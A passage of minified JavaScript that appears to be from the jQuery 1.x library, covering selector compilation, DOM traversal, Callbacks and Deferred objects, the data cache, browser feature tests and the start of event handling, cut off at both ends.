j,k,l,m=[],n=[],o=g.length,p=f||ta(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:ua(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=ua(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=ua(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function wa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ra(function(a){return a===b},h,!0),l=ra(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[ra(sa(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return va(i>1&&sa(m),i>1&&qa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(Q,"$1"),c,e>i&&wa(a.slice(i,e)),f>e&&wa(a=a.slice(e)),f>e&&qa(a))}m.push(c)}return sa(m)}function xa(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=F.call(i));u=ua(u)}H.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&fa.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ha(f):f}return h=fa.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=wa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,xa(e,d)),f.selector=a}return f},i=fa.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ba,ca),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=W.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ba,ca),_.test(j[0].type)&&oa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&qa(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,!b||_.test(a)&&oa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ia(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ia(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||ja("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ia(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ja("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ia(function(a){return null==a.getAttribute("disabled")})||ja(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),fa}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.uniqueSort=n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},v=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},w=n.expr.match.needsContext,x=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,y=/^.[^:#\[\.,]*$/;function z(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(y.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return n.inArray(a,b)>-1!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;e>b;b++)if(n.contains(d[b],this))return!0}));for(b=0;e>b;b++)n.find(a,d[b],c);return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(z(this,a||[],!1))},not:function(a){return this.pushStack(z(this,a||[],!0))},is:function(a){return!!z(this,"string"==typeof a&&w.test(a)?n(a):a||[],!1).length}});var A,B=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,C=n.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||A,"string"==typeof a){if(e="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:B.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),x.test(e[1])&&n.isPlainObject(b))for(e in b)n.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}if(f=d.getElementById(e[2]),f&&f.parentNode){if(f.id!==e[2])return A.find(a);this.length=1,this[0]=f}return this.context=d,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof c.ready?c.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};C.prototype=n.fn,A=n(d);var D=/^(?:parents|prev(?:Until|All))/,E={children:!0,contents:!0,next:!0,prev:!0};n.fn.extend({has:function(a){var b,c=n(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++)if(n.contains(this,c[b]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=w.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?n.inArray(this[0],n(a)):n.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.uniqueSort(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function F(a,b){do a=a[b];while(a&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return u(a,"parentNode")},parentsUntil:function(a,b,c){return u(a,"parentNode",c)},next:function(a){return F(a,"nextSibling")},prev:function(a){return F(a,"previousSibling")},nextAll:function(a){return u(a,"nextSibling")},prevAll:function(a){return u(a,"previousSibling")},nextUntil:function(a,b,c){return u(a,"nextSibling",c)},prevUntil:function(a,b,c){return u(a,"previousSibling",c)},siblings:function(a){return v((a.parentNode||{}).firstChild,a)},children:function(a){return v(a.firstChild)},contents:function(a){return n.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(E[a]||(e=n.uniqueSort(e)),D.test(a)&&(e=e.reverse())),this.pushStack(e)}});var G=/\S+/g;function H(a){var b={};return n.each(a.match(G)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?H(a):n.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h<f.length)f[h].apply(c[0],c[1])===!1&&a.stopOnFalse&&(h=f.length,c=!1)}a.memory||(c=!1),b=!1,e&&(f=c?[]:"")},j={add:function(){return f&&(c&&!b&&(h=f.length-1,g.push(c)),function d(b){n.each(b,function(b,c){n.isFunction(c)?a.unique&&j.has(c)||f.push(c):c&&c.length&&"string"!==n.type(c)&&d(c)})}(arguments),c&&!b&&i()),this},remove:function(){return n.each(arguments,function(a,b){var c;while((c=n.inArray(b,f,c))>-1)f.splice(c,1),h>=c&&h--}),this},has:function(a){return a?n.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=!0,c||j.disable(),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().progress(c.notify).done(c.resolve).fail(c.reject):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=e.call(arguments),d=c.length,f=1!==d||a&&n.isFunction(a.promise)?d:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(d){b[a]=this,c[a]=arguments.length>1?e.call(arguments):d,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(d>1)for(i=new Array(d),j=new Array(d),k=new Array(d);d>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().progress(h(b,j,i)).done(h(b,k,c)).fail(g.reject):--f;return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(d,[n]),n.fn.triggerHandler&&(n(d).triggerHandler("ready"),n(d).off("ready"))))}});function J(){d.addEventListener?(d.removeEventListener("DOMContentLoaded",K),a.removeEventListener("load",K)):(d.detachEvent("onreadystatechange",K),a.detachEvent("onload",K))}function K(){(d.addEventListener||"load"===a.event.type||"complete"===d.readyState)&&(J(),n.ready())}n.ready.promise=function(b){if(!I)if(I=n.Deferred(),"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll)a.setTimeout(n.ready);else if(d.addEventListener)d.addEventListener("DOMContentLoaded",K),a.addEventListener("load",K);else{d.attachEvent("onreadystatechange",K),a.attachEvent("onload",K);var c=!1;try{c=null==a.frameElement&&d.documentElement}catch(e){}c&&c.doScroll&&!function f(){if(!n.isReady){try{c.doScroll("left")}catch(b){return a.setTimeout(f,50)}J(),n.ready()}}()}return I.promise(b)},n.ready.promise();var L;for(L in n(l))break;l.ownFirst="0"===L,l.inlineBlockNeedsLayout=!1,n(function(){var a,b,c,e;c=d.getElementsByTagName("body")[0],c&&c.style&&(b=d.createElement("div"),e=d.createElement("div"),e.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(e).appendChild(b),"undefined"!=typeof b.style.zoom&&(b.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",l.inlineBlockNeedsLayout=a=3===b.offsetWidth,a&&(c.style.zoom=1)),c.removeChild(e))}),function(){var a=d.createElement("div");l.deleteExpando=!0;try{delete a.test}catch(b){l.deleteExpando=!1}a=null}();var M=function(a){var b=n.noData[(a.nodeName+" ").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute("classid")===b},N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){if(void 0===c&&1===a.nodeType){var d="data-"+b.replace(O,"-$1").toLowerCase();if(c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}n.data(a,b,c)}else c=void 0;
}return c}function Q(a){var b;for(b in a)if(("data"!==b||!n.isEmptyObject(a[b]))&&"toJSON"!==b)return!1;return!0}function R(a,b,d,e){if(M(a)){var f,g,h=n.expando,i=a.nodeType,j=i?n.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e||j[k].data)||void 0!==d||"string"!=typeof b)return k||(k=i?a[h]=c.pop()||n.guid++:h),j[k]||(j[k]=i?{}:{toJSON:n.noop}),"object"!=typeof b&&"function"!=typeof b||(e?j[k]=n.extend(j[k],b):j[k].data=n.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[n.camelCase(b)]=d),"string"==typeof b?(f=g[b],null==f&&(f=g[n.camelCase(b)])):f=g,f}}function S(a,b,c){if(M(a)){var d,e,f=a.nodeType,g=f?n.cache:a,h=f?a[n.expando]:n.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){n.isArray(b)?b=b.concat(n.map(b,n.camelCase)):b in d?b=[b]:(b=n.camelCase(b),b=b in d?[b]:b.split(" ")),e=b.length;while(e--)delete d[b[e]];if(c?!Q(d):!n.isEmptyObject(d))return}(c||(delete g[h].data,Q(g[h])))&&(f?n.cleanData([a],!0):l.deleteExpando||g!=g.window?delete g[h]:g[h]=void 0)}}}n.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(a){return a=a.nodeType?n.cache[a[n.expando]]:a[n.expando],!!a&&!Q(a)},data:function(a,b,c){return R(a,b,c)},removeData:function(a,b){return S(a,b)},_data:function(a,b,c){return R(a,b,c,!0)},_removeData:function(a,b){return S(a,b,!0)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=n.data(f),1===f.nodeType&&!n._data(f,"parsedAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));n._data(f,"parsedAttrs",!0)}return e}return"object"==typeof a?this.each(function(){n.data(this,a)}):arguments.length>1?this.each(function(){n.data(this,a,b)}):f?P(f,a,n.data(f,a)):void 0},removeData:function(a){return this.each(function(){n.removeData(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=n._data(a,b),c&&(!d||n.isArray(c)?d=n._data(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return n._data(a,c)||n._data(a,c,{empty:n.Callbacks("once memory").add(function(){n._removeData(a,b+"queue"),n._removeData(a,c)})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?n.queue(this[0],a):void 0===b?this:this.each(function(){var c=n.queue(this,a,b);n._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&n.dequeue(this,a)})},dequeue:function(a){return this.each(function(){n.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=n.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=n._data(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}}),function(){var a;l.shrinkWrapBlocks=function(){if(null!=a)return a;a=!1;var b,c,e;return c=d.getElementsByTagName("body")[0],c&&c.style?(b=d.createElement("div"),e=d.createElement("div"),e.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(e).appendChild(b),"undefined"!=typeof b.style.zoom&&(b.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:1px;width:1px;zoom:1",b.appendChild(d.createElement("div")).style.width="5px",a=3!==b.offsetWidth),c.removeChild(e),a):void 0}}();var T=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,U=new RegExp("^(?:([+-])=|)("+T+")([a-z%]*)$","i"),V=["Top","Right","Bottom","Left"],W=function(a,b){return a=b||a,"none"===n.css(a,"display")||!n.contains(a.ownerDocument,a)};function X(a,b,c,d){var e,f=1,g=20,h=d?function(){return d.cur()}:function(){return n.css(a,b,"")},i=h(),j=c&&c[3]||(n.cssNumber[b]?"":"px"),k=(n.cssNumber[b]||"px"!==j&&+i)&&U.exec(n.css(a,b));if(k&&k[3]!==j){j=j||k[3],c=c||[],k=+i||1;do f=f||".5",k/=f,n.style(a,b,k+j);while(f!==(f=h()/i)&&1!==f&&--g)}return c&&(k=+k||+i||0,e=c[1]?k+(c[1]+1)*c[2]:+c[2],d&&(d.unit=j,d.start=k,d.end=e)),e}var Y=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)Y(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},Z=/^(?:checkbox|radio)$/i,$=/<([\w:-]+)/,_=/^$|\/(?:java|ecma)script/i,aa=/^\s+/,ba="abbr|article|aside|audio|bdi|canvas|data|datalist|details|dialog|figcaption|figure|footer|header|hgroup|main|mark|meter|nav|output|picture|progress|section|summary|template|time|video";function ca(a){var b=ba.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}!function(){var a=d.createElement("div"),b=d.createDocumentFragment(),c=d.createElement("input");a.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",l.leadingWhitespace=3===a.firstChild.nodeType,l.tbody=!a.getElementsByTagName("tbody").length,l.htmlSerialize=!!a.getElementsByTagName("link").length,l.html5Clone="<:nav></:nav>"!==d.createElement("nav").cloneNode(!0).outerHTML,c.type="checkbox",c.checked=!0,b.appendChild(c),l.appendChecked=c.checked,a.innerHTML="<textarea>x</textarea>",l.noCloneChecked=!!a.cloneNode(!0).lastChild.defaultValue,b.appendChild(a),c=d.createElement("input"),c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),a.appendChild(c),l.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,l.noCloneEvent=!!a.addEventListener,a[n.expando]=1,l.attributes=!a.getAttribute(n.expando)}();var da={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:l.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]};da.optgroup=da.option,da.tbody=da.tfoot=da.colgroup=da.caption=da.thead,da.th=da.td;function ea(a,b){var c,d,e=0,f="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):void 0;if(!f)for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++)!b||n.nodeName(d,b)?f.push(d):n.merge(f,ea(d,b));return void 0===b||b&&n.nodeName(a,b)?n.merge([a],f):f}function fa(a,b){for(var c,d=0;null!=(c=a[d]);d++)n._data(c,"globalEval",!b||n._data(b[d],"globalEval"))}var ga=/<|&#?\w+;/,ha=/<tbody/i;function ia(a){Z.test(a.type)&&(a.defaultChecked=a.checked)}function ja(a,b,c,d,e){for(var f,g,h,i,j,k,m,o=a.length,p=ca(b),q=[],r=0;o>r;r++)if(g=a[r],g||0===g)if("object"===n.type(g))n.merge(q,g.nodeType?[g]:g);else if(ga.test(g)){i=i||p.appendChild(b.createElement("div")),j=($.exec(g)||["",""])[1].toLowerCase(),m=da[j]||da._default,i.innerHTML=m[1]+n.htmlPrefilter(g)+m[2],f=m[0];while(f--)i=i.lastChild;if(!l.leadingWhitespace&&aa.test(g)&&q.push(b.createTextNode(aa.exec(g)[0])),!l.tbody){g="table"!==j||ha.test(g)?"<table>"!==m[1]||ha.test(g)?0:i:i.firstChild,f=g&&g.childNodes.length;while(f--)n.nodeName(k=g.childNodes[f],"tbody")&&!k.childNodes.length&&g.removeChild(k)}n.merge(q,i.childNodes),i.textContent="";while(i.firstChild)i.removeChild(i.firstChild);i=p.lastChild}else q.push(b.createTextNode(g));i&&p.removeChild(i),l.appendChecked||n.grep(ea(q,"input"),ia),r=0;while(g=q[r++])if(d&&n.inArray(g,d)>-1)e&&e.push(g);else if(h=n.contains(g.ownerDocument,g),i=ea(p.appendChild(g),"script"),h&&fa(i),c){f=0;while(g=i[f++])_.test(g.type||"")&&c.push(g)}return i=null,p}!function(){var b,c,e=d.createElement("div");for(b in{submit:!0,change:!0,focusin:!0})c="on"+b,(l[b]=c in a)||(e.setAttribute(c,"t"),l[b]=e.attributes[c].expando===!1);e=null}();var ka=/^(?:input|select|textarea)$/i,la=/^key/,ma=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,na=/^(?:focusinfocus|focusoutblur)$/,oa=/^([^.]*)(?:\.(.+)|)/;function pa(){return!0}function qa(){return!1}function ra(){try{return d.activeElement}catch(a){}}function sa(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)sa(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=qa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return n().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=n.guid++)),a.each(function(){n.event.add(this,b,e,d,c)})}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=n.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return"undefined"==typeof n||a&&n.event.triggered===a.type?void 0:n.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||"").match(G)||[""],h=b.length;while(h--)f=oa.exec(b[h])||[],o=q=f[1],p=(f[2]||"").split(".").sort(),o&&(j=n.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=n.event.special[o]||{},l=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},i),(m=g[o])||(m=g[o]=[],m.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent("on"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,l):m.push(l),n.event.global[o]=!0);a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n.hasData(a)&&n._data(a);if(r&&(k=r.events)){b=(b||"").match(G)||[""],j=b.length;while(j--)if(h=oa.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=k[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),i=f=m.length;while(f--)g=m[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&("**"!==d||!g.selector)||(m.splice(f,1),g.selector&&m.delegateCount--,l.remove&&l.remove.call(a,g));i&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete k[o])}else for(o in k)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(k)&&(delete r.handle,n._removeData(a,"events"))}},trigger:function(b,c,e,f){var g,h,i,j,l,m,o,p=[e||d],q=k.call(b,"type")?b.type:b,r=k.call(b,"namespace")?b.namespace.split("."):[];if(i=m=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!na.test(q+n.event.triggered)&&(q.indexOf(".")>-1&&(r=q.split("."),q=r.shift(),r.sort()),h=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=r.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:n.makeArray(c,[b]),l=n.event.special[q]||{},f||!l.trigger||l.trigger.apply(e,c)!==!1)){if(!f&&!l.noBubble&&!n.isWindow(e)){for(j=l.delegateType||q,na.test(j+q)||(i=i.parentNode);i;i=i.parentNode)p.push(i),m=i;m===(e.ownerDocument||d)&&p.push(m.defaultView||m.parentWindow||a)}o=0;while((i=p[o++])&&!b.isPropagationStopped())b.type=o>1?j:l.bindType||q,g=(n._data(i,"events")||{})[b.type]&&n._data(i,"handle"),g&&g.apply(i,c),g=h&&i[h],g&&g.apply&&M(i)&&(b.result=g.apply(i,c),b.result===!1&&b.preventDefault());if(b.type=q,!f&&!b.isDefaultPrevented()&&(!l._default||l._default.apply(p.pop(),c)===!1)&&M(e)&&h&&e[q]&&!n.isWindow(e)){m=e[h],m&&(e[h]=null),n.event.triggered=q;try{e[q]()}catch(s){}n.event.triggered=void 0,m&&(e[h]=m)}return b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,d,f,g,h=[],i=e.call(arguments),j=(n._data(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())a.rnamespace&&!a.rnamespace.test(g.namespace)||(a.handleObj=g,a.data=g.data,d=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==d&&(a.result=d)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&("click"!==a.type||isNaN(a.button)||a.button<1))for(;i!=this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>-1:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h<b.length&&g.push({elem:this,handlers:b.slice(h)}),g},fix:function(a){if(a[n.expando])return a;var b,c,e,f=a.type,g=a,h=this.fixHooks[f];h||(this.fixHooks[f]=h=ma.test(f)?this.mouseHooks:la.test(f)?this.keyHooks:{}),e=h.props?this.props.concat(h.props):this.props,a=new n.Event(g),b=e.length;while(b--)c=e[b],a[c]=g[c];return a.target||(a.target=g.srcElement||d),3===a.target.nodeType&&(a.target=a.target.parentNode),a.metaKey=!!a.metaKey,h.filter?h.filter(a,g):a},props:"altKey bubbles cancelable ctrlKey currentTarget detail eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(a,b){return null==a.which&&(a.which=null!=b.charCode?b.charCode:b.keyCode),a}},mouseHooks:{props:"button buttons clientX clientY 